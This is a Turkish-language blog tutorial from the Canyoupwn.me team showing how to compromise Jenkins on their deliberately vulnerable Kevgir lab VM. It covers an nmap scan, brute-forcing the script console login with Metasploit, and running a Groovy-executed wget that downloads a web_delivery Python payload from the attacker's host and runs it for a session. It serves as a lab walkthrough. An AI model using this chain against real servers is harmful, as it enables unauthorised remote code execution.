Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | How To Exploit Jenkins

Jenkins geliştirme süreçlerini otomatikleştirmeye yarayan ve genelde 8080 portunda çalışan bir uygulamadır. Jenkinste script bölümü vardır ve buraya yazılan scriptleri otomatik olarak çalıştırır.

Bu anlatımımda Canyoupwn.me ekibi olarak hazırlamış olduğumuz içinde zafiyetleri barındıran ve bunlardan biriside Jenkins zafiyeti olan Kevgir’den yararlandım.

IP adresi 192.168.79.143 olarak bildiğim Kevgir’i nmap aracıyla açık servis ve portlarını tarıyorum.

nmap –sT 192.168.79.143 –p 8080,9000 –A  komut ile 8080 ve 9000 numaralı portları taradım.

Çıkan sonucu incelediğimizde 8080 Portunda Apachi Tomcatin çalıştığını, 9000 portunda ise Jenkinsin çalıştığını gördük. Port taramalarında servis taramalarının önemini burada bir kez daha görmüş olduk. Her ne kadar Jenkins genelde 8080 portundada çalışsa da burada başka bir port üzerinde çalıştığını görmüş olduk.

jenkins_1

İkinci aşamada web portalı üzerinden Jenkinsin script paneline erişim sağlamalıyız. Bunun için ilgili ip adresi ve portu yazmalıyız.

192.168.79.143:9000/script adresine gittiğimizde bizi bir login paneli karşılamakta.

Jenkins_2

Metasploit aracı ile panele şifre denemesi yapacağız. Bunun için metasploit üzerinde jenkinsle ilgili hangi araçları kullanacağımızı bilmemiz gerekiyor. Eğer yeterli bilgiye sahip değilsek search jenkins

komutu ile metasploit içerisinde bulunan jenkinse ait uygulamaları görebiliriz. Biz jenkins_login’i kullanacağız.

jenkins_3

Gerekli bilgileri veridğimizde kullanıcı adı ve parolayı bulduk.

Simdi web portalından script alanına giriş yapabiliriz.

Payload hazırlamak ve çalıştırmak için yine metasploit içinde bulunan web_delivery’den yararlanacağız.

jenkins_4

http://192.168.79.140:8080/6hP4nFP0Fw9’  içine bir python ile oluşturulmuş payload oluşturdu ve biz bu payload’u jenkinsin script modülünden çalıştırmamız gereklidir.

jenkins_5

Öncelikli olarak “wget http://192.168.79.140:8080/6hP4nFP0Fw9 -O /root/Desktop/jenkins_payload”.execute() komutu ile payloadu indiriyoruz ve kaydediyoruz. Ardından;

python /root/Desktop/jenkins_payload.execute()

komutu ile indirdiğimiz payloadu çalıştırıyoruz.

jenkins_6

Web_delivery üzerinden takip ettiğimizde sessionu aldığımızı göreceksiniz.

About Mert Gücü

Researcher | Syp3x |#InformationShouldBeFree

Follow Me